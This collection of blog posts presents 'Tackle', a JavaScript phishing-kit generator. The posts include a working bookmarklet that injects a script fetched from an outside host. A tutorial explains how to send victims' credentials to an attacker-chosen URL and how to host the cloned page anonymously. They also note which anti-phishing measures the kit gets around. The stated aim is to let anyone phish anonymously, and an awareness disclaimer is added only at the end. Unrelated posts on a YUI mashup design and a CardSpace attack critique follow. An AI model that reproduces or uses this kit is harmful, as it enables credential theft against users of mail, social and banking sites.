Tackle - The oddities in login pages

A few days ago, I had completed writing a quick script that would help creation of phishing pages. Though it involved making all references of images, style sheets and images absolute, I came across many anomalies in the login pages, preventing us to easily copy the HTML with absolute paths.
Before diving into the anomalies, here is a quick discussion on how the script works.
The script requires you to trigger the process by pasting the javascript code in the address bar. This inserts the script in the current login page. The script then runs through all the images, links, scripts and other references, converting the path to absolute references.
Currently, the CSS @import are not converted. Once this is done, the page source is saved and a dialog box is displayed for configuration. This again is an extra div overlayed on the login page. Once the method is submitted, a generic phish function code is appended to the saved HTML. This function assignes an 'onsubmit' listener to all forms in the page, posting the credentials to the configured location.
Now for the anomalies and interesting facts. I tried the script on some potential targets which included mail services, social networking sites, and even some banks.

• Some of these sites did have virtual keyboards, but that was not an effective protection as they were also copied to the phishing page.
• There was another login page that inserts script tags using 'document.write'. This lead to some 404 requests but the functionality was unaffected. This was because the innerHTML that I was using was not really the source of the login page, but the HTML constructed from the DOM structure. The DOM already had the "document.write" executed, putting the required content on the page
• Some websites did not send images when the referrer was different. I think this is a very useful thing to do, and the only way to get the page look like an original is to refer the images after saving them to an external server
• The YAHOO seal makes phishing impossible, and I hope that atleast the major banking websites have something similar to defeat phishing.
• Some pages hashed the credentials when they were travelling over the wire using javascipt. This again is defeated if the user would just disable the javascript function.
• Some login pages are shown only if the user arrives on them from specific pages. This is also a good mechanism, just that users have to be aware of this fact.

On a final note, I think that with phishing becoming so easy and anonymous, sites should employ anti-phishing mechanisms to protect the users.

OCC Meet on Opensocial and Facebook platforms

I am at Open Coffee Club meet.


at

Tackle : Tutorial

Tackle is a simple, easy to use, Javascript phishing page creator. To use Tackle, copy paste the following script on any login page, and you will be able to create a phished version of the page.
When you activate tackle, a dialog appears on the login page. Using the various options, you can configure the location where you want the credentials (username, password, etc.) to be stored. You will have to copy the HTML code in the text box and host it at a hosting provider to make the phishing page available to the world.
You can also add the code as a bookmark. Currently, you can create phished version of the pages only in Firefox. The phished pages will work in most browsers.
The various options in Tackle dialog are

URL to Submit : This is the location where the credentials will be sent to. The user will be logged into the actual site normally after the credentials are sent to you. This can be any external URL, to be specified in the HTTP://URL.COM format.

Parameter: The value in this text box indicates the query parameter which will be used to pass the credentials to the URL you specified

Submit Method - HTTP Get : Selecting this radio button sends a HTTP GET to the url specified with the credentials as a query parameter.

Submit Method - Message Box : Instead of actually stealing the credentials, you can demonstrate the damage it can cause by simple displaying the credentials as a message. The script was written to create awareness about phishing.

Test Phished Page: You can take a peek at how your output will look like by hitting this button.

Copy HTML Code: This is the HTML source for your phished page. You can host it anywhere on the internet and send the link out to people. To be anonymous, you could typically host it on any free hosting space like geocities, tripod, etc.

Please note that sometimes, the phished page may not exactly look like the original page. This is because some components of the page are loaded using javascript. Hence, you will have to manually correct the path.

Also, please note that the script was written to demonstrate phishing. I am not responsible for any damages that you cause by phishing. Phishing is illegal and could land you in trouble.

Tackle : A javascript based phishing kit

"You give him a fish and that will serve him for a day, you teach him how to fish, and that shall serve him for a lifetime"

Well, so here is a quick and dirty phishing page generator I wrote totally in JavaScript. The main aim of this kit was to enable anyone to phish anonymously - just host one static HTML page on a well known free space provider, and get the credentials at an anonymous location. For people to effectively generate phished pages, the software should be a zero-install, easy to use solution.
I started hacking something together this weekend, and this is what I have got till now.
All that a user will have to do is visit a login page and then, copy paste the following on the address bar.

javascript:(function(){var x = document.createElement("script");x.id = "phishJS";x.src = "http://n.parashuram.googlepages.com/Tackle.js";document.body.appendChild(x);})()

This inserts the Tackle JavaScript code into the page that does the needful to generate a phished version of the page. Typically. the script converts all paths (CSS, JS and images) to absolute URLs. It then inserts a small script in the page that intercepts submission of any form and passes the credentials to the desired location.
Though the script is still in early alpha, you could check it out. Please do let me know of potential bugs, or usability issues. I have tried it on orkut, yahoo mail, etc. I would write a post detailing the use of the interface, a post that would also linked to as help from the page. Watch out this space for updates.
Lastly, why is it called Tackle ? Well, wikipedia tells me that a tackle is an instrument used for fishing. Well, this does help you in phishing !! :)

If SMASH was a part of YUI...

Hey,


Yahoo User Interface is one of the best written javascript frameworks till date. However, I still have not seen support for mash ups as a native component. With the YUI Event library, I see that including a utility to create a mashup would be simple, and would gel well with the programming model.
In this post, I analyze the various tweaks that would be required to the event model that would permit a user to use events from mashup modules of different domain seamlessly. The protocol standard could be anything, but I take SMASH as a reference model. This technique ensures that both the mashup creator and the component creator continue to use the YUI event model for communication, even though the domain (and hence, the javascript namespace) are different.
YUI could provide two libraries, and a configuration file

1. Container page that is to be embedded in the page that holds the components ( as iFrames from different domains), called the masher
2. Individual components, displayed inside iFrames, called mashees.
3. A security descriptor file that would describe and govern the interaction between different components.
   

The main masher page would include script or tags to create the required iFrames to display the component mashees. While creating a component, the communication channel name (a static HTML page at the masher server) would also be passed along. The library would also create an event queue to receive and send events.
The mashees would include YUI files indicating them to be mashup components. As soon as the page loads, the mashup library would kick in and create another hidden iFrame inside the component to allow communication from the component mashee to the masher. This hidden iFrame would be a static HTML file with javascript functions to add events to the YUI event queue. Similarly, the YUI component in the component would also poll for changes in the URL to receive events.
The only difference between the regular event model and this technique is that instead of directly calling the subscriber, the event would be written to component URL. Since we also have a YUI stub at the component mashee, the events would be read, and this is the place where the target listeners would be invoked. Hence, to the user, it would still look be an event subscribe and publish model .
Lastly, the security policy file at the container masher would determine if the events are to be propagated to the child elements or not. I am currently writing these, so watch out this space for updates.

Insecurity of Cardspace ?

A couple of days ago, I was came across an article that claimed to expose insecurity in Microsoft Cardspace. The site listed steps like waiting for 'x' seconds before performing the actual attack. Reading the detailed steps in the paper explain the attack completely.
In my humble opinion, the attack discussed on the web site could not be called a serious attack.

This has more to do with the "philosophy" and implementation of browser's same-origin policy rather than Cardspace on the whole.

In the attack, we are required to

1. Poison the DNS server so that the RP URL points to both legit IP and attacker IP. This in itself is a non-trivial task. (Pharming)
2. Then they fetch the real RP login page by cleaning the DNS poison they set. i.e. they have only the legit entry of RP URL pointing to legit IP.
3. Since the user already is on the attacker page, the attacker can play around with the target and action attributes of the form. Technically, once the DNS is poisoned so well, we could simply put a phished page and receive the token.

There are many caveats in this attack. Firstly, DNS poisoning is not trivial. If the RP dose not have a valid certificate, the attack does not work. IMHO, this has more to do with the browser's same-origin policy rather than cardspace; cardspace just reuses the same-origin policy from the browser.
Hence, as of today, I would still consider the protocol to be secure, whether or not is it usable. The secure desktop could server as a universal authentication module, permitting other forms of authentication as well.